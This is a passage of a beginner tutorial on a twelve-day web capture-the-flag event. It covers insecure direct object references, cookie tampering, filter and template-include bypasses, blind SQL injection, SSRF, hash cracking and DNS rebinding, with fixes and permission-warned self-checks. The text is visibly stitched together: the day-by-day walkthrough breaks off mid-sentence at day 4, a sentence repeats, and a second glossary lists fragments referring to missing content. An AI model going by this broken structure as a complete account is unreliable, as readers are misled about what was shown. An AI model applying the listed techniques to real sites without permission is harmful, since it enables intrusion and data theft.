- A numeric input (day 10). The age field accepted a number and the app checked its length. Numbers that are checked before they are converted are a classic source of surprises, because the conversion can change the length.
- A
dataparameter (day 11). The value decoded to JSON containing a file path and anauthvalue. A parameter that names a file the server fetches is a candidate for server-side request forgery, where you make the server fetch something on your behalf.
None of these signals is a bug by itself. Each one is a place to look. The researcher's skill was in noticing them and then following each one until it either gave up a flag or led somewhere else.
Exploitation, day by day
The rest of this article walks through the twelve days in order. For each day you get the idea behind the challenge, the exact request, command or code that was used, and then a plain-language walk through it. If a line of a command looks like gibberish, the explanation underneath should make it readable.
Day 1: robots.txt
A website can contain a file called robots.txt at its very top level, for example https://example.com/robots.txt. It is a plain text file that website owners use to tell search engines which parts of the site they should not crawl. It is not a security mechanism: it is a polite request, and anyone can read it. But because it lists the paths the owner considers private, it is often the first thing a curious person looks at. It is like a sign on a building saying "staff only beyond this point": it does not lock the door, but it tells you where the interesting rooms are.
The researcher opened the main site, hackyholidays.h1ctf.com, and got a landing page. Then, instead of clicking around, the researcher requested /robots.txt. That file contained the first flag and a pointer to the next day's challenge, /s3cr3t-ar3a.
flag{48104912-28b0-494a-9995-a203d1e261e7}
This is a flag in the standard shape: the word flag, curly brackets, and a code inside. Nothing else was needed. The lesson is that before you start guessing, read what the site already tells you about itself.
Day 2: page source
When your browser loads a page, it first receives the raw text of the page, called the HTML source, and then draws it on screen. Some things in the source are never drawn: comments, hidden fields, and text that is styled to be invisible. So a page that looks empty can still contain data. Reading the source is like looking at the ingredients list on a packet instead of only the picture on the front.
The researcher opened /s3cr3t-ar3a, saw nothing on the rendered page, and opened the browser's developer tools to look at the source. The second flag was there, along with a pointer to /apps, which is where the remaining challenges would live.
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
Developer tools are built into every modern browser. You can usually open them with a key such as F12, or by right-clicking the page and choosing "Inspect". You do not need to understand the HTML to use them: you just need to be able to read the text.
Day 3: tampering with a Base64 id
Base64 is a way of writing any data using only 64 safe characters: the letters A to Z in both cases, the digits 0 to 9, and the symbols + and /, with = used as padding at the end. It exists because some places, such as a URL, only allow a limited set of characters. Base64 turns arbitrary bytes into that safe set. It is not encryption. Anyone can decode it, and it is meant to be decoded. Think of it as a different alphabet, not a locked box.
/apps listed a new challenge called "People Rate", served at /people-rater. The app showed a list of people, and clicking a name showed that person's rating. With Burp Suite watching, the researcher saw that clicking the first name sent this request:
/people-rater/entry?id=eyJpZCI6Mn0=
The id value, eyJpZCI6Mn0=, ends in =, which is the giveaway that it is Base64. Decoding it gives a small piece of JSON. JSON is a text format for structured data, made of names and values in curly brackets, like a labelled form. The decoded value was:
So the app was sending the record number inside a Base64-wrapped JSON object. The first name in the list had id 2, which is odd. The researcher built a new value for id 1:
{"id":1} -> eyJpZCI6MX0=
The left side is the JSON the researcher wants the server to see. The right side is that JSON encoded as Base64. The arrow means "encodes to". The researcher then requested:
/people-rater/entry?id=eyJpZCI6MX0=
The server accepted it and returned the record for the Grinch, including the flag:
{
"id":"eyJpZCI6MX0=",
"name":"The Grinch",
"rating":"Amazing in every possible way!",
"flag":"flag{b705fb11-fb55-442f-847f-0931be82ed9a}"
}
Line by line: id echoes back the Base64 value that was sent, name is the person's name, rating is the rating text, and flag is the prize. The server had trusted the id inside the Base64 without checking whether the person asking was allowed to see that record. That kind of bug is called an insecure direct object reference: the object (the record) is referred to directly by a number, and the server does not check that you own it.
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
Day 4: Swag Shop, endpoint and parameter discovery
An API is a set of addresses a program exposes so that other programs can talk to it, without a human clicking buttons. Where a normal web page returns a whole page of HTML for a browser to draw, an API returns just the data, often in JSON. An endpoint is one of those addresses, for example /api/user. Think of a restaurant: the menu is the API, and each dish on it is an endpoint. You ask for one dish by name and get it back.
/apps now listed "Swag Shop". The shop showed a login form that was not easy to get past, so the researcher switched to discovery: trying lots of common names to see which ones exist. The first run fuzzed the path under /swag-shop/:
Why each day worked: the root cause
Each day had its own mistake, and none of them was exotic. They are the same handful of errors that turn up in real websites again and again, just dressed differently. Here is the underlying cause of each one, in plain words.
Day 3: the record number was in the client's hands. The id parameter was a Base64-encoded JSON object, and Base64 is only a different alphabet, not a lock. The server decoded it, read the id inside, and fetched that record without ever asking whether the person making the request was allowed to see it. The client chose which record to ask for, and the server obeyed. That is an insecure direct object reference: the object is named directly by a number the client controls, and no ownership check stands between the request and the data.
Day 4: a user record was returned for an identifier, and the identifier was published. The /api/user endpoint returned a full user record, flag included, to anyone who supplied a UUID. On its own that would still need a lucky guess, but /api/sessions listed every session, and one of those sessions had a user field that was not null. That field was the UUID. So the app both leaked the key and opened the door for it, which is the same as leaving the key on the doormat.
Day 5: the login form answered two different questions, and the cookie could be edited. When the username was wrong the form said Invalid Username; when the username was right but the password was wrong it said something else. That difference let the researcher test usernames and passwords separately, one list at a time, instead of having to guess both at once. Then the session cookie turned out to be a Base64-encoded JSON object with an admin boolean and no signature. Changing false to true in the decoded cookie was enough to become an admin.
Day 6: the filter removed the wrong thing in the wrong order. The code removed admin.php first and secretadmin.php second, and str_replace removes every occurrence of the substring it is given, but only the ones present at that moment. By splitting the target string and hiding the removed substring between the halves, the researcher made the first removal produce the very string the second removal was meant to catch. The file was then read with file_get_contents, which does exactly what its name says: it reads a file and prints it. A filter built from removals is fragile because removing text can create new text.
Day 7: the check looked at the wrong place. The access check was applied to the template body, the part the user types into the editor. But the data object was rendered afterwards, and a variable's value was allowed to contain the include syntax. So the check saw a harmless {{hihi}}, passed it, and then the renderer replaced hihi with {{template:38dhs_admins_only_header.html}} and resolved that include without any check at all. The order of operations was the bug: check first, substitute later means the substitute escapes the check.
Day 8: secrets were committed to a public repository, and the password hash was cracked. Git keeps every version of every file, so a credential that was added and later removed is still in the history. The "Initial Code Commit" contained database credentials, and the repository was public. Once inside the database, the grinch password was stored as a hash, and crackstation.net cracked it. Two mistakes stacked: the key was published, and the lock behind it was easy.
Day 9: the name went straight into a database query, and the result was visible. The name input was concatenated into a SQL query, so characters like the single quote could end the string early and add new SQL. The result was observable through the player count: an error gave 0, a success gave 1. That makes it a blind injection, meaning you cannot see the data directly, but you can ask yes or no questions and read the answer from the count. With enough yes or no questions, one character at a time, the whole password comes out.
Day 10: the length was checked before the conversion, and the conversion changed the length. The age was checked to be 3 characters or less, and only afterwards passed through intval. intval accepts scientific notation, so 9e3 is 3 characters at the check and 9000 after conversion, which is 4. The admin flag was a single character at a fixed offset in a concatenated string, so a one-character shift moved the last name's final Y from position 112 to position 113, and the user became an admin. The check and the use disagreed about what the value was.
Day 11: the album hash went into a subquery, and the first column of the inner query chose a file for the server to fetch. The hash parameter was injected into a query that sat inside another query, and the outer query used the inner query's first column to decide which photo to load. By injecting a second query into that first column, the researcher controlled the path the server fetched. The server then generated a valid auth value for whatever path it fetched, which turned the SQL injection into a server-side request forgery. The API was only reachable from the server's own IP address, so making the server ask for it was the way in. Two bugs chained: injection, and a fetch that trusted its input.
Day 12: the protection hash was crackable, and the local-target check could be bypassed with DNS rebinding. The hash was md5(salt + target), and the salt fell to hashcat with rockyou.txt, so the researcher could build a valid hash for any target. The server then refused a local target, but DNS rebinding got past the check. DNS rebinding makes the same name resolve to an allowed address at check time and to [redacted] at attack time, so the check and the attack saw different machines.
What it would mean outside a CTF
Inside the event, each bug gave one flag and the game moved on. Outside the event, the same bugs would mean something different, because the data behind them would be real. This section takes each day's mistake and says what it would allow on a real website.
Day 3: reading other users' records. The app fetched whichever record the id in the Base64 value named, without checking who was asking. On a real site, that is the difference between seeing your own order and seeing someone else's. If the record holds an address, a phone number, an invoice or a private message, the person who changes the number gets it. The bug is small to fix and large in effect, because it scales: change the number, get the next record, repeat.
Day 4: reading a user record through a leaked identifier. Here the identifier was not even guessed. A second endpoint, /api/sessions, listed sessions and one of them carried a real user value. On a real site, a session listing that includes user identifiers is a directory of everyone who is logged in. Combined with a user endpoint that returns full records, it means anyone who can reach both endpoints can read the profile of anyone whose session is listed, including fields the profile page never shows.
Day 5: taking over an admin session. The cookie held the admin flag as plain, editable JSON. On a real site, that is the difference between a normal account and an administrator account, and the server cannot tell the difference because the cookie carries no signature. An attacker who can edit their own cookie becomes an admin without ever knowing an admin password. From there, everything an admin can do is open: reading private data, changing settings, deleting content, and creating more admin accounts.
Day 6: reading files on the server. The template parameter made the server read a file and print it. On a real site, the files a web server can read include configuration files, which often hold database passwords and API keys, and source code, which shows how the app works and where its other weaknesses are. Reading one file is rarely the end; it is usually the first step, because the file tells you what to do next.
Day 7: reading files that were meant to be restricted. The template engine pulled in 38dhs_admins_only_header.html even though the direct request was refused. On a real site, the same trick reaches any file the renderer can read, including files the access check was specifically written to protect. The check exists because the file is sensitive; getting around the check means the sensitivity no longer matters.
Day 8: accessing the database. The forum's source code on GitHub contained database credentials, and those credentials worked on /phpmyadmin. On a real site, database access is close to total control. The database holds every user, every post, every private message and every password hash. An attacker with database access can read it all, change it, or delete it, and can often use it to reach the rest of the system.
Day 9: extracting credentials from the database. The quiz's name field was injected into a SQL query, and the answer was visible through the player count. On a real site, the same technique reads any table the database user can see, one character at a time. Passwords stored as hashes come out too, and a hash of a common password falls quickly to a cracking service. The result is a list of working logins, which can be used directly or sold.
Day 10: escalating a normal signup to an admin. The signup form let anyone create an account, and a one-character shift in a stored string turned that account into an admin. On a real site, that means the registration page, which is meant to be open to the public, becomes a way to create administrators. No existing account is needed and no password is guessed; the attacker simply signs up and is an admin.
Day 11: reaching an internal API. The API refused requests from outside the server's own address, which sounds like protection. The photo album let the researcher make the server fetch a path of their choosing, and the server then generated a valid auth value for it. On a real site, this is how an attacker reaches services that were never meant to be public: internal admin panels, cloud metadata endpoints, and other machines on the same network. The "only from this IP" rule stops being a rule once the server itself makes the request.
Day 12: making the server attack an internal target. The launch page took a target and a hash, and the hash could be cracked, so a valid payload could be built for any target. The local-target check was bypassed with DNS rebinding. On a real site, this is a way to turn the application into a weapon pointed at its own network: the attacker sends one request, and the server does the attacking from inside, where the firewalls do not apply.
It is the standard meaning of each flaw, and the reason these bugs are worth fixing even when the data behind them looks unimportant.
How to fix it
Each of the twelve days has a fix, and most of them are small. The pattern behind all of them is the same: the server should decide what the client is allowed to see, and it should never take the client's word for a value that matters. Below is the fix for each day in plain words. Treat these as the correct response to each mistake rather than as a record of what changed.
Day 3: check ownership, not just the identifier. The app should not fetch a record just because the client asked for it by number. It should first work out who is asking, from a value the client cannot forge, such as a signed session, and then check that this person is allowed to see that particular record. If the record belongs to someone else, the answer should be "not found" or "not allowed", not the data. The everyday version: the hotel receptionist should check your name against the booking, not just read the room number on the card you are holding.
Day 4: do not return records on request, and do not publish identifiers. Two changes are needed here. First, /api/user should require proof of who is asking and should only return the record of that same person, or a record the person is entitled to see. Second, /api/sessions should not list other people's sessions at all, and certainly should not include their user identifiers. A session listing is an administrative view; it should be behind an admin check, and it should not carry the values that unlock other endpoints. Leaking the key and opening the door are two separate mistakes, and both need fixing.
Day 5: one message for both failures, a limit on attempts, and a signed cookie. The login form should say the same thing whether the username was wrong or the password was wrong, for example "username or password incorrect". That removes the difference the researcher used to test usernames and passwords separately. The form should also slow down repeated attempts, so that even a correct guess takes too long to be practical. And the session cookie should be signed: the server should attach a value computed with a secret key, so that any edit to the cookie is detected and rejected. With a signature, changing false to true produces a cookie the server refuses, because the signature no longer matches.
Day 6: use an allowlist, not a list of things to remove. A filter built from removals is fragile, because removing text can create new text, which is exactly what happened here. The safer design is an allowlist: a fixed list of files the page is allowed to load, and anything not on the list is refused. The server should look up the requested name in that list and load only the matching entry, never build a file path from user input. If the page only ever needs entries.html, then entries.html is the only name that should work.
Day 7: check the rendered result, or resolve includes before checking. The access check was applied to the template body, before the data object was substituted in. The fix is to make the check see what will actually be rendered: either resolve the variables first and then check the result, or refuse to let a variable's value contain the include syntax at all. The general rule is that a check must run on the final thing that gets used, not on an earlier version of it. If the check and the use look at different text, the gap between them is the bug.
Day 8: keep secrets out of public repositories, and use a strong password hash. Credentials should never be committed to a repository that anyone can read, and if they are committed by accident, they should be treated as leaked and changed immediately, because Git keeps the history. The password hash should also be a slow, salted hash designed for passwords, so that a table of known hashes cannot answer it quickly. Two independent fixes, because either one alone would have stopped this day: the key should not have been published, and the lock behind it should not have been easy.
Day 9: use parameterised queries. The name should never be glued into the SQL text. Instead, the query should be written with a placeholder, and the name should be passed separately as a value. The database then treats the name as data, never as part of the query, so a single quote in the name is just a character in a name. This is the standard fix for SQL injection and it closes the whole class, not just the payloads used here.
Day 10: validate after conversion, or store the admin flag separately. The length check should run on the value that will actually be stored, which means converting the age first and then checking the result. Better still, the admin flag should not be a single character at a fixed offset in a concatenated string at all. A role should be its own field, set by an administrator, not something that can shift by one position because a number got longer. The deeper lesson is that a check and a use must agree about what the value is; here they disagreed, and the disagreement was the bug.
Day 11: parameterise the query, and do not let the server fetch arbitrary paths. The hash value should be passed as a parameter, not glued into the SQL, which closes the injection. Separately, the photo loader should not fetch whatever path the query returns. It should fetch only from a fixed directory, with the file name checked against an allowlist, and it should not generate an auth value for a path outside that directory. The API should also be protected by authentication rather than by source IP, because a rule that says "only from this address" stops being a rule once the server itself makes the request.
Day 12: use a keyed hash with a secret that cannot be cracked, and resolve the name once. The protection hash should be computed with a secret key that is long and random, so that no wordlist can recover it, and the comparison should be done in a way that does not leak timing. The local-target check should also resolve the hostname once, keep the resulting address, and use that same address for both the check and the attack. If the check and the attack look up the name separately, a rebinding service can make them see different machines, which is exactly what happened here.
The list is the correct response to each mistake, written so that you can carry it to a real website and recognise the same pattern there.
Things to try on your own
The twelve days above are a catalogue of places where a website trusted something it should not have. The useful part is that each of those places can be checked on any website you are allowed to test, with nothing more than a browser and a little patience. Below is one check per day, written as something a beginner can actually do, with a plain description of what a positive result looks like. A positive result does not always mean a bug: it means you have found something worth looking at more closely.
A word of warning before you start. Only do these checks on websites you own, on practice sites built for this purpose, or on a target whose owner has given you written permission. Sending these requests to a site you do not control is, in most places, a crime, even if you mean no harm and even if the request looks harmless. The challenge in this article was a CTF.
Check 1: Base64-encoded JSON parameters (day 3)
Look at the address bar and at the requests your browser sends. If you see a value that looks like random letters and digits and ends in =, it is probably Base64. Decode it with any online Base64 decoder or with a line of code, and see whether the result is readable JSON. If it is, change the identifier inside it, re-encode it, and send the request with the new value.
A positive result is a response that contains a record for a different person: a different name, a different address, a different order. If the server returns "not found" or "not allowed", the check is in place. If it returns someone else's data, the server is trusting the number you sent without checking that the record is yours.
Check 2: session listings and user endpoints (day 4)
Look for an endpoint whose name suggests it lists sessions, logins or active users, and request it. Read the response carefully. If any entry contains a user identifier that is not empty or null, note it down. Then look for an endpoint whose name suggests it returns a user, and try that identifier as a parameter on it.
A positive result is a full user record returned for an identifier you found in the listing: a username, an address, an email, or any field the profile page does not normally show. If the user endpoint refuses without a login, or returns only your own record, the check is in place. If it hands out records to anyone who asks, the listing and the endpoint together are a way in.
Check 3: login error messages (day 5)
Go to a login form and try two different wrong logins. First, a username that certainly does not exist with any password. Second, a username you know exists (your own, on a site where you have an account) with a wrong password. Compare the two error messages word for word.
A positive result is two different messages, for example "no such user" for the first and "wrong password" for the second. That difference tells an attacker which usernames are real, so they can test passwords only against real accounts instead of against everything. If both attempts give the same message, such as "username or password incorrect", the form does not leak that information.
Check 4: cookies that decode to readable JSON (day 5)
Open the developer tools, find the cookies the site has stored, and look at their values. If a value ends in = and decodes to readable JSON, read the fields. Look for anything that sounds like a permission: admin, role, is_staff, verified.
A positive result is a field you can change from false to true (or from user to admin) and have the site accept the edited cookie. Change it, reload the page, and see whether you now see something you did not see before. If the site rejects the edited cookie, or logs you out, the cookie is signed or checked on the server, and the check is in place. Do this only on your own account on a site you are allowed to test: editing a cookie on someone else's site is exactly the kind of thing that needs permission.
Check 5: file inclusion filters (day 6)
Find a page whose address contains a parameter that looks like a file name, for example ?template=entries.html or ?page=about. Try a value that does not exist and see what happens: a redirect, an error, or a blank page. Then try the name of a file that certainly exists on the server, such as index.php, and see whether the page shows you its contents instead of running it.
A positive result is the source code of a file appearing in the page, or the contents of a file you were not meant to read. If the page redirects you back to the home page for anything that is not on its list, the check is in place. If you get source code, you have found a local file inclusion, and the next step (which needs more care and more permission) would be to see which files the server will read.
Check 6: template engines and variable values (day 7)
Find a page that lets you write a template, a message, or any text with placeholders in it, and that shows you a preview. Put a placeholder in the body, such as {{name}}, and see whether it is replaced with a value. Then try putting the include syntax in the value of a variable rather than in the body: if the preview data is something you can supply, set a variable to {{template:somefile.html}} and preview it.
A positive result is the contents of a file appearing in the preview, especially a file the direct request refused. If the preview shows the include syntax as plain text, or refuses the value, the check is in place. The lesson is that a check on the body is not a check on the rendered result, and the gap between them is where this bug lives.
Check 7: public repositories (day 8)
Search a code hosting site such as GitHub for the name of the product or the organisation you are testing. Look at the repositories you find, and in particular at the earliest commits, the ones with messages like "initial commit". Read the configuration files and any file whose name suggests settings, environment or database.
A positive result is a credential in the code: a database username and password, an API key, a secret. Do not use it. Report it to the owner through their security contact, because using it would be unauthorised access even though you found it in public. If the repository contains only code and no secrets, the check is in place. This is one of the most common real-world findings, and one of the easiest to avoid: never commit secrets, and if you do, change them immediately, because the history keeps them.
Check 8: numeric inputs with a length check (day 10)
Find a form with a number field that has a limit on its length, such as an age, a quantity or a year. Try a value in scientific notation, such as 9e9, and see whether the form accepts it. Then look at what the site stored or displayed afterwards.
A positive result is a stored value that is longer than the limit allowed, or a field that has shifted because the number grew. On the challenge, the shift moved a single character that decided whether the account was an admin. On a real site, the same shift might change a role, a price, or a position in a list. If the form rejects the value or stores it exactly as typed, the check is in place.
Check 9: SQL injection inside a subquery (day 11)
This one is for a target you are explicitly allowed to test, because it involves sending database commands. Find a parameter that looks like it is used in a database query, such as a hash, an id or a category. Add a single quote to the value and see whether the page errors, changes, or returns something different. If it does, the value is probably reaching the database.
A positive result is a change in behaviour that you can control: an error for one payload and a normal page for another. From there, the careful next step is to read the running query from information_schema.processlist, which shows the database's own record of what it is executing. If the query is simple, such as SELECT * FROM album WHERE hash = 'INPUT', the injection is direct. If the behaviour does not match a simple query, the injection may be inside a subquery, and the column that controls a file path is the one to look at. If the page never changes, the value is being handled safely, and the check is in place.
Check 10: hash-protected parameters (day 12)
Find a request that carries both a value and a hash, such as a target and a protection hash. Change the value and leave the hash alone, and see whether the server refuses. If it does, the hash is protecting the value. The next question is whether the hash can be reproduced: try hashing the value with common algorithms, and try adding a known word in front of or behind the value before hashing.
A positive result is a hash you can reproduce for a value you chose, which means you can build valid requests for any value. On the challenge, the hash was md5(salt + target) and the salt fell to hashcat with rockyou.txt. If the hash uses a secret you cannot recover, the check is in place. If you can reproduce it, the protection is only as strong as the secret, and a weak secret is no protection at all.
Check 11: local-target checks and DNS rebinding (day 12)
Find a feature that fetches a URL or connects to an address you supply, and try a local address such as [redacted]. If the server refuses, it is checking that the target is not local. The next question is when it does that check. If it resolves the name once and then connects separately, a rebinding hostname can make the check see one address and the connection see another.
A positive result is a request that passes the check and then reaches the local address. This is the most advanced check in the list, and it needs a target you are explicitly allowed to test, because it makes the server connect to machines on its own network. If the server resolves the name once and uses that same address for both the check and the connection, the check is in place.
A note on how to use this list
None of these checks needs a special tool. A browser, the developer tools, and a little care are enough for most of them. What they all have in common is a single question: does the server believe something the client sent without checking it? The Base64 value, the cookie, the file name, the number, the hash and the address are all versions of the same card with no signature. Once you can see that pattern, you will start noticing it everywhere, and the twelve days above become twelve examples of one idea rather than twelve separate tricks.
Notes for someone starting out
If you have read this far, you have seen twelve different challenges, but they are really one lesson told twelve ways. This last section is about how to carry that lesson into your own practice: where this kind of bug tends to hide, what to look for during reconnaissance, and a few habits that will make you better at finding it.
Where this kind of bug hides
The bugs in this report all live in the same place: the boundary between your browser and the server. A website is a conversation, and every message in that conversation carries values. Some of those values the server creates and controls, such as the contents of a database. Others come from you, such as the number in a URL, the text in a form, or the cookie your browser sends back. The bug appears when the server treats a value that came from you as if it had come from itself.
That boundary is wide, and the values that cross it are everywhere:
- In the address bar. Anything after the
?in a URL is a parameter, and parameters are the most common place to find a value the server trusts. Theidon day 3, thehashon day 11 and thetemplateon day 6 were all in the address bar. - In cookies. A cookie is a small piece of text your browser stores and sends back with every request. If the server puts your permissions in a cookie without signing it, you can edit them, which is what happened on day 5.
- In form submissions. When you fill in a form and press a button, your browser sends the values to the server. The name field on day 9 and the age field on day 10 both travelled this way, and both were trusted too much.
- In file paths. Any value that looks like a file name, such as
entries.htmlor38dhs_admins_only_header.html, is a candidate for making the server read a file it should not. Days 6 and 7 were both about this. - In numbers. A number that is checked for length before it is converted, or a number that decides a role, is a classic source of surprises. Day 10 was exactly this.
- In code that was published by accident. A public repository is not part of the running website, but it is part of the attack surface, because developers commit secrets. Day 8 was found entirely on GitHub.
The common thread is that none of these places is a bug by itself. A parameter is not a bug. A cookie is not a bug. A file name is not a bug. Each one is a place where the server has to make a decision, and the bug is in the decision, not in the place.
The reconnaissance signals
Reconnaissance means looking around before you start poking. The signals below are what made the twelve days possible. They are worth memorising, because they are the same on almost any website.
- Values that look encoded. If a value ends in
=, or is made only of letters and digits with no spaces, it may be Base64. Decode it. If the result is readable, the app is trusting you with its internal data. Day 3 is the clearest example. - Parameters whose names suggest a record. A parameter called
id,uuid,user,accountororderis naming a record. The question is whether the server checks that the record is yours before returning it. - Cookies that decode to readable text. If a cookie decodes to JSON with fields such as
admin,roleorverified, the app is keeping your permissions in a place you can edit. Day 5. - Pages that list things. A page that lists files, sessions, users or templates is a directory. It tells you what exists, and sometimes it tells you the identifiers you need. Days 4, 7 and 8 all had a listing that pointed the way.
- Different messages for different inputs. If a form says one thing when the username is wrong and another when the password is wrong, it is telling you which usernames are real. Day 5.
- Parameters that name a file or a URL. A value that looks like a path, such as
entries.html, or a URL, such as../api, is a candidate for making the server fetch something. Days 6, 7 and 11. - Numbers with a length limit. A number field that checks its length is a candidate for a conversion surprise. Day 10.
- A hash next to a value. If a request carries a value and a hash, the hash is protecting the value. The question is whether the hash can be reproduced. Day 12.
- A check that refuses something. A message such as "this endpoint cannot be visited from this IP address" or "invalid protection hash" is not a dead end. It is a description of the check, and a description of a check is the first step to getting around it. Days 11 and 12.
- A public repository. Search for the product name on a code hosting site. Look at the earliest commits. Day 8.
None of these signals guarantees a bug. Each one is a question worth asking.
Habits that help
A few habits separate a productive session from a frustrating one, and none of them needs a special tool.
- Write down what you find. When you find a parameter, a cookie or a page, write it down with the exact request. When you find a parameter, a cookie or a page, write it down with the exact request. You will come back to it later, and you will not remember the details.
- Reproduce the filter locally. On day 6 the researcher copied the challenge's filter into a PHP shell and tested inputs against it without touching the live site. This is faster, safer and clearer than guessing against the real thing.
- Automate the boring part. On days 9 and 11 the researcher wrote a short script to automate the extraction. The script is not clever; it is just patient. Patience is the part a computer is good at.
- Read the error messages. "Invalid Username", "Missing required fields", "Invalid content type detected" and "Invalid Protection Hash" are all descriptions of what the server is checking. Each one tells you what to try next.
- Follow the chain. Day 11 combined an injection that let the researcher choose a path with a server that fetched that path. Day 12 was a cracked hash and a local-target check bypassed with DNS rebinding. Real findings are often chains, and the second link is usually found by asking what the first link lets you control.
- Stay inside the permission. Every technique in this report is legal on a CTF and on a target whose owner has invited you. On any other website it is not, even if the request looks harmless. The challenge was a CTF.
The flags at the end
The report lists all twelve flags together at the end, noting that there is a reward for the first 10 submissions. They are reproduced here in the order the days appear, so you can see the whole run in one place:
flag{48104912-28b0-494a-9995-a203d1e261e7}
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
flag{07a03135-9778-4dee-a83c-7ec330728e72}
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Each line is one day's flag, in the standard shape: the word flag, curly brackets, and a code inside. The first is day 1, the last is day 12. The report also includes the two Python scripts used on days 9 and 11 in full, so that the extraction can be repeated.
What to take away
If you remember one thing from this article, make it the question the researcher asked on every single day: does the server believe something my browser sent without checking it?
The second thing to remember is that the answer is usually small. Most of the fixes in this report are a few lines: check ownership, sign the cookie, use an allowlist, parameterise the query, validate after conversion, resolve the name once. The bugs were not exotic and the fixes are not either. That is the reassuring part for someone starting out: you do not need to know everything. You need to know where to look, and to be patient enough to follow what you find.
Glossary
- API: a set of addresses a program exposes so that other programs can talk to it, usually returning data in JSON rather than a whole web page.
- Base64: a way of writing any data using only letters, digits and a couple of symbols, so it can travel safely in a URL.
- Blind SQL injection: SQL injection where you cannot see the data directly, but you can ask yes or no questions and read the answer from something observable, such as a count.
- Brute force: trying every possibility from a list until one works, instead of reasoning your way to the answer.
- Burp Suite: a program that sits between your browser and a website and lets you watch, pause and edit every request and response.
- Capture-the-flag (CTF): a game where organisers build deliberately broken websites and players try to break into them to find hidden pieces of text called flags.
- Cookie: a small piece of text your browser stores for a website and sends back with every request, so the server can remember who you are between page loads.
- Credentials: a username and password (or similar) that prove who you are.
- Cross-site request forgery (CSRF): not used in this report, but related to cookies: a trick that makes your browser send a request you did not intend, using the cookie it already has.
- DDoS (distributed denial of service): flooding a server with so many requests that it cannot serve real users. The day 12 challenge was themed around one.
- Developer tools: the panel built into every modern browser that lets you read the page source, inspect cookies and watch network requests.
- DNS (Domain Name System): the system that turns a name like
example.cominto a numeric address like[redacted]. - DNS rebinding: making the same hostname resolve to one address the first time it is looked up and to a different address the second time, so a check and a later connection see different machines.
- Endpoint: one address in an API, for example
/api/user. - fcrackzip: a small program that tries to guess the password of a password-protected zip file.
- FFUF: a fuzzer that sends lots of variations of a request automatically and reports the ones that get a different answer.
- Flag: the short piece of text that proves you solved a CTF challenge, in the shape
flag{...}. - Fuzzing: sending many variations of a request automatically and looking at which ones behave differently.
- Git: the system programmers use to keep versions of their code.
- GitHub: a website where Git repositories are often published, sometimes with secrets committed by accident.
- Hash: a one-way scramble of a value. You can turn a password into a hash easily, but turning the hash back into the password is meant to be hard.
- hashcat: a program that tries to recover a password from a hash by hashing every word in a list and comparing the results.
- HTML source: the raw text a browser receives before it draws the page. It can contain data that is never drawn on screen.
- HTTP status code: the number a server sends with every response, such as 200 (OK), 302 (redirect), 400 (bad request), 404 (not found) or 204 (no content).
- Insecure direct object reference (IDOR): a bug where a record is named directly by a number the client controls, and the server does not check that the record belongs to the person asking.
- Interactive shell: a prompt where you type a line of code and it runs immediately, like a calculator.
intval: a PHP function that converts a value to an integer. It accepts scientific notation, so9e3becomes9000.- JSON: a text format for structured data, made of names and values in curly brackets, like a labelled form.
- Local file inclusion (LFI): a bug where a page loads a file named by the user, letting the user read files the page was not meant to show.
- MD5: an old hashing algorithm. It is fast, which makes it easy to crack with a wordlist.
- Parameter: a value that travels with a request, usually after the
?in a URL or in a form submission. - Parameterised query: a database query written with a placeholder, where the user's value is passed separately as data, so it can never become part of the query.
- Payload: the specific value you send to try to trigger a bug.
- PHP: a programming language used to build many websites.
- phpMyAdmin: a web interface for managing a MySQL database.
- Python: a general-purpose programming language, easy to read, often used for short automation scripts.
- Reconnaissance: looking around a target before you start poking, to learn what exists and where the interesting parts are.
- Request: the message your browser sends to a server, for example "please give me this page".
- Response: the message a server sends back, for example the page, or an error.
robots.txt: a plain text file at the top level of a website that tells search engines which parts not to crawl. It is not a security mechanism, and anyone can read it.rockyou.txt: a famous list of millions of real passwords that leaked from a breach years ago, used as a first guess when cracking passwords.- Salt: an extra value added to a password before hashing, so that the same password produces a different hash for each user.
- Scientific notation: writing a number as a small number times a power of ten, such as
9e3for9000. - Server-side request forgery (SSRF): a bug where you make the server fetch a resource of your choosing, which can reach internal services that you cannot reach directly.
- Session: the server's record of who you are across several requests, usually tied to a cookie.
- Signature (on a cookie): a value computed with a secret key and attached to a cookie, so that any edit to the cookie is detected and rejected.
- SQL (Structured Query Language): the language used to talk to a database.
- SQL injection: a bug where user input is glued into a SQL query, so the user can add their own SQL and change what the query does.
- Subquery: a query inside another query. The outer query uses the inner query's result.
- Template engine: software that turns a template with placeholders into finished text, replacing variables and pulling in other files.
- Template injection: a bug where user input is treated as part of the template, so the user can make the engine do more than the app intended.
- Type juggling: a bug where a value is checked as one type and used as another, so the check and the use disagree about what the value is.
- UUID: a long identifier, here in the form
C7DCCE-0E0DAB-B20226-FC92EA-1B9043. - UNION attack: a SQL injection technique that appends a second query with
UNION, so the attacker's data is returned alongside the original result. - Username enumeration: learning which usernames exist by comparing the different messages a login form returns.
- Wordlist: a text file with one candidate per line, used by a fuzzer or a cracking tool to try many possibilities automatically.
- XSS (cross-site scripting): not used in this report, but a common web bug where user input is treated as code in the browser.
Glossary
- Think of a restaurant menu: each dish is something you can ask for by name.
- Like intercepting a letter, reading it, editing it, and putting it back in the envelope.
- Usually opened with F12 or by right-clicking and choosing "Inspect".
- It replaces the placeholder
FUZZwith each word from a wordlist. - It keeps the history, so a secret that was added and later removed is still in the history.
- Hash: a one-way scramble of a value.
- Mode 20 means "the hash is of a salt followed by the password".
- It can contain data that is never drawn on screen, such as comments and hidden fields.
- Like a hotel card with a room number and no signature.
- MD5: an old hashing algorithm.
- Subquery: a query inside another query.